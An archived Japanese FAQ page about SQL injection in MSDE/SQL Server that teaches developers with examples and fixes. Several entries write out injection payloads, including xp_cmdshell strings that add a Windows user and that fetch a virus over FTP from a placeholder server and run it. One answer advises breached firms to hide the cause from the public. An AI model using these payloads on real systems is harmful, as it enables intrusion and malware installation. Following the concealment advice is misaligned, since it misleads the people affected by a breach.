MSDE FunClub
Microsoft Data Engine FunClub
現在までのアクセスカウント数
Since 2005.08.08
最終更新日:2006/6/6
 
 [MSDE FunClub TOP]  > [MSDE 技術サポート情報]   > [SQL インジェクション] 
 
【 SQL インジェクション 】
 
 

 
 
MSDE FunClub
メニュー
■ MSDE 2000
技術情報一覧に
戻る
■ MSDE 2000
初心者向け
メーリングリスト
ご案内
■ MSDE 2000
技術者向け
メーリングリスト
ご案内
■ MSDE FunClub
HOME へ戻る
 
SQLインジェクション
被害事例
■ 2006/2/13
インターネット書店
個人情報流出
再調査の結果
新たに9000件
発覚
■ 2005/11/24
ワコールオンライン
ショップ
不正アクセス
■ 2005/08/09
静岡新聞社の情報サイト
情報流出
■ 2005/07/06
クラブツーリズム、価格COM事件
■ 2005/06/29
アデコの不正アクセス
■ 2005/06/13
OZmallの不正アクセス事件
 
SQLインジェクション
参考ページ
■ BB(びび)っとWORDS
SQLインジェクションの流れ
■ @police
SQL Injection攻撃の
脅威と対策について
pdf文書
■ IPA
安全なウェブサイトの作り方
pdf文書
■ SPI Dynamics社
An in-depth look
at SQL Injection
■ SQL組み立て時の
引数チェック
■ SQL インジェクション
■ SQL インジェクション
■ Software Testing
 
 
SQL インジェクション
 
SQL インジェクション:0010]
SQL インジェクション攻撃とは、何ですか?
SQL インジェクション攻撃を簡単に説明すれば、そのデータベースシステムを開発した人間や、その仕事を請け負った会社の技術開発レベルが、無能であったという事実を、世間様に公表されてしまった攻撃です。
 
 
SQL インジェクション:0020]
SQL インジェクション攻撃を受けた場合、OSが悪いのでしょうか?データベースシステムの製品が悪いのでしょうか?
SQL インジェクション攻撃を受けたことに対して、OSや製品は、一切の責任はありません。データベースシステムが動いている環境であれば、SQL インジェクション攻撃を仕掛けようと思えば、誰でも、その攻撃を行なうことができます。それだけ、SQL インジェクション攻撃は、ありふれた手口のよく知れ渡ったポピュラーな攻撃手法です。

ただ世間一般の大多数の人間は、SQL インジェクション攻撃が、その他のセキュリティホールを利用した攻撃と同一レベルの攻撃だと勘違いしている人が多いので、そのような人達は、OSや製品が悪い!と言いふらすかもしれません(濡れ衣です)。

 
 
SQL インジェクション:0030]
SQL インジェクション攻撃を受けました。世間に公表すべきですか?
SQL インジェクション攻撃は、とっても恥ずかしい攻撃です。この攻撃が成立したということは、仕事を請け負った開発業者も、仕事を出した発注者側も、データベースについて何もわかっていなかったという事実を公表することになります。できれば、SQL インジェクションという単語は出さずに、「システムの設計ミス」だと言う方が良いでしょう。

[ SQL インジェクション:0020]で説明したように、SQL インジェクション攻撃は、データベースを使用した環境ならば、必ず対策を取らなければいけない基本的なものです。その基本が守られていなかったという事実が世間に公表されることによって、他のセキュリティホールを利用した攻撃を受けた場合に比べて、弁解のしようがありません。

もし記者会見で、被害を受けた会社の社長が、「当社は万全のセキュリティ対策やコストを投じて、顧客情報を守っております。なぜ、顧客情報が漏えいしたのか、原因は不明であり、ただ今、調査中です」と発言し、後日その原因が、「SQL インジェクションでした」と言ってしまったら、笑い者になってしまいます。
SQL インジェクション対策は、データベースアプリケーションを開発するときに実施すべきで、そのような基本的な対策をしていなかったデータベースアプリケーションを運用していたこと自体が異常なことなのです。

 
 
SQL インジェクション:0040]
SQL インジェクション攻撃を受けてしまいました。仕事を発注した私に責任はありますか?
SQL インジェクション攻撃を受けるようなデータベースアプリケーションを開発した、無能であり開発力の無かった業者と契約を行なった、発注者側の責任は、免れない可能性があります。例えば発注者側が業者の成果物を検収する義務がある場合は、責任は免れないでしょう。

また発注者側に、データベース製品ベンダーが実施しているデータベースの資格試験の資格取得者を雇用している場合は、その人がなぜ開発業者を監督しなかったのか?という問題が出るかもしれません。

一番悪いのは開発を請け負った業者ですが、SQL インジェクション攻撃を受けるかどうかは、業者の成果物を見れば、一目でわかります。そのような検収作業を手抜きした発注者側にも責任があります

 
 
SQL インジェクション:0050]
SQL インジェクション攻撃を受けるかどうかは、すぐに判明するのですか?
SQL インジェクション攻撃を受けるかどうかは、すぐにわかります。だから発注者側の納入検査や納品試験などの検収作業の『手抜き』だと言われます。
 
 
SQL インジェクション:0060]
SQL インジェクション攻撃を受けるかどうかを、事前に調べるシステム調査サービスを利用して検査してもらおうかと考えています。調査料金が100万円と言われましたが高いですか?
SQL インジェクション攻撃を受ける可能性があるかどうかは、開発業者が作成したSQL文の作り方を見るだけで、一目でわかるものです。SQL文を見るだけの料金で、100万円は高額です。私だったら10万円も頂ければ、SQL文の閲覧だけしてあげます。ただ、改修費用は含まれておりません。おそらく料金が高額なのは、改修費用が含まれているためです。
 
 
SQL インジェクション:0070]
合い見積りで、1人月80万円の業者と50万円の業者があったので、50万円の業者を選んだら、SQL インジェクション攻撃を受けてしまいました。80万円の業者を選べばよかったですか?
80万円の業者でも、開発力の無い無能な業者であったら、SQL インジェクション攻撃は当然発生します。ただ SQL インジェクション攻撃を防ぐという意味では、当然開発値段が高くなる『合理的な理由』があります。それは攻撃を防ぐためには、SQLプログラムを呼び出す方(使用者)を、一切信用せずに、様々なデータチェックをしなければいけません。利用者側を全面的に信用しているのであれば、このようなチェックは一切不要です。開発費の差は、このようなチェック作業に要するコストと考えられます。
 
 
SQL インジェクション:0080]
SQL インジェクションの意味を、わかりやすく教えてください
インジェクション(injection)とは、「注入、挿入」などの意味があります。簡単に言えば、SQL文の中に、想定外の命令や単語などが挿入され、正しい動作をしないSQL文が実行されることを言います。そのおかしなSQL文を実行したことで、データベースやシステムに問題が発生する可能性があります。

おかしなSQL文を実行すること自体は、データベースシステムの正しい動作です。その動作を強制的に止めることはできません。問題は、そのようなおかしなSQL文を作成したデータベースアプリケーション側に責任があります。

 
 
SQL インジェクション:0090]
SQL インジェクション攻撃は、データベースの製品ごとに、その手口は異なりますか?
SQL インジェクション攻撃は、SQL文の中に、開発者にとっては想定外の文字列が挿入されて、成立するものです。このため、データベース製品(MSDE/SQL Server/Oracle/DB2/MySQL/PostgreSQLなど)の固有なSQLの文法に従う必要があります。このため、SQL Serverで成功した方法が、必ずしも、Oracleに適用できるとは限りません。データベース製品ごとに、固有な攻撃になります。ただ、攻撃を受けないデータベース製品は一切存在しません。すべてのデータベース製品が攻撃を受けます。もともとそのデータベースを使って開発したアプリケーションの中に問題が潜んでいるので、正しい開発をしなければ、SQL インジェクション攻撃を受けます
 
 
SQL インジェクション:0100]
SQL インジェクション攻撃の事例を教えてください
MSDE を使って、SQL インジェクション攻撃を解説しましょう。

例えば、データベースの名前(文字列)を与えて、そのデータベースが存在するかどうか調べるSQL文を次のように作成しました。

declare @dbname sysname
declare @sql    varchar(500)

--検索を行なうデータベースの名前を、パラメータとする
select @dbname = 'master'

--この組み立てたSQL文に、インジェクション攻撃が潜みます
--MSDE のSQL文の文法に従って、単純に文字列の連結を行ないます
select @sql  =  'select cast(name as varchar(20))  from master.dbo.sysdatabases  ' 
                      + 'where  name= ''' + @dbname + ''''

--SQL文の実行
exec( @sql  )


上記のSQL文を実行すると正しい結果が表示されます。

拡大表示します
 
 
SQL インジェクション:0110]
上記のSQL文の一部を次のように変更して、実行します。
SQL インジェクション攻撃を行ないましょう

         select @dbname = 'master'

上記の代入命令を、次のように、書き換えて実行してください

  select @dbname = 'UnKnownDB''  select getdate()  ''A'

上記のSQL文を実行すると、次のような結果が表示されます。

拡大表示します
現在時刻の取得(getdate関数)が実行されていることに注意してください。

プログラムの開発者本人は、@dbnameパラメータは「データベースの名前」が代入されると確信?しています。ところが実際は開発者の想定とは異なる文字列が代入され、SQL文が実質的には2つのSQL文の命令に置き換わってしまいました。

このように文字列を連結して、SQL文を組み立てて実行する場合、おかしな文字列が混入することによって、SQL文が誤動作するのが、SQL インジェクション攻撃の特徴です。

 
 
SQL インジェクション:0120]
MSDE データベースシステムでは、sysadmin権限でSQL文を実行するのが怖いといわれますが、実感できません。怖い実例を教えてください。

         select @dbname = 'master'

上記の代入命令を、次のように、書き換えて実行してください

select @dbname = 'UnKnownDB''  exec xp_cmdshell ''net user User-A Pass-A /add''  
   declare @dum varchar(10)  select @dum=''1'
(上記は1行で記述しています)

上記のSQL文を実行すると、データベースサーバーを実行しているWindowsに、ユーザ名User-A、パスワードPass-AのWindowsユーザが登録されます。

Web等の外部からパラメータ文字列が入力されることを想像してください。攻撃者に、Windows上に新しいユーザを作成されてしまいます。

【注意】
この攻撃を成功させるためには、データベースサービスの実行アカウントを「ローカルシステム」や「Administrator」で実行していることが条件になります

 
 
SQL インジェクション:0130]
MSDE データベースシステムで、sysadmin権限でSQL文を実行しています。SQL インジェクション攻撃を受けて、コンピュータウィルスに感染しますか?

         select @dbname = 'master'

上記の代入命令を、次のように、書き換えて実行してください

select @dbname = 'UnKnownDB''  exec xp_cmdshell ''echo FTPログインユーザ名>ftpcmd.txt'' 
 exec xp_cmdshell ''echo FTPパスワード>>ftpcmd.txt'' 
 exec xp_cmdshell ''echo cd FTPサーバーのディレクトリ>>ftpcmd.txt''
 exec xp_cmdshell ''echo get ウィルスファイル名>>ftpcmd.txt''
 exec xp_cmdshell ''ftp -s:ftpcmd.txt ウィルスを格納したサーバーIPアドレス''
 exec xp_cmdshell ''c:\windows\system32\ウィルスファイル名'' 
 declare @dum varchar(10)  select @dum=''1'
(上記はすべて1行で記述しています)

上記のSQL インジェクション攻撃は、文字列が長過ぎて、幸いにも失敗します。
declare @dbname varchar(1000)のように、大きく宣言していると成功します。

ウィルスを格納したFTPサーバーからウィルスをダウンロードして、そのウィルスを実行するのは、特別難しいことではありません。

FTPコマンドは、標準のWindowsシステムに組み込まれています。

【注意】
この攻撃を成功させるためには、データベースサービスの実行アカウントを「ローカルシステム」や「Administrator」で実行していることが条件になります

 
 
SQL インジェクション:0140]
SQL インジェクション攻撃を防ぐためには、どうすればよいですか?
事例からわかるように、文字列を組み立てて、与えられたパラメータを結合して、SQL文の命令を作り上げて実行するような仕組みは、避けることです。
 
 
SQL インジェクション:0150]
文字列を組み立ててSQL文を実行しなければいけません。何に注意すべきですか?
外部から与えられたパラメータを信用してはいけません。SQL文文字列を組み立てる前に、そのパラメータを信用してよいかどうか、十分に検査してください。
 
 
SQL インジェクション:0160]
何か簡単に検査をする方法がありますか?
MSDE の場合、文字列を組み立ててSQL文を実行するときは、sp_executesqlストアドプロシージャを使う方法があります。
 
 
SQL インジェクション:0170]
sp_executesqlストアドプロシージャを使って、上記の例題を直してください
declare @dbname sysname
declare @sql    nvarchar(500)

--検索を行なうデータベースの名前を、パラメータとする
select @dbname = 'UnKnownDB'' 以下省略

--@dbnameは、文字列の中に、そのまま表現する
select @sql  =  N'select cast(name as varchar(20))  from ' +
                        'master.dbo.sysdatabases  where  name= @dbname'          

--SQL文の実行
exec sp_executesql  @sql  ,  N'@dbname sysname' , @dbname 

 
 
SQL インジェクション:0180]
SQL インジェクション攻撃を防ぐために、その他で注意すべきことがありますか?
MSDE の場合、SQL文の実行を、sysadmin権限で実行してはいけません。
またセキュリティ上、様々なリスクを負うので、xp_cmdshellストアドプロシージャの実行を拒否してください。
masterデータベースの拡張ストアドプロシージャの中には、レジストリの読み書きをするストアドプロシージャなど、危険なものがたくさん含まれています。ただこれらはシステム上内部から使われたりするので禁止することができません。大事なことは、sysadmin権限でSQL文を実行しないことです。
 
 
 
 
MSDE FunClubに関するご意見・ご要望等ございましたら、
msdefun@horikawa.ne.jp までご連絡下さい。
MSDEを始めとする各種データベースシステムの開発、コンサルタントに関するご要望等は、
msdedev@horikawa.ne.jp までご連絡下さい。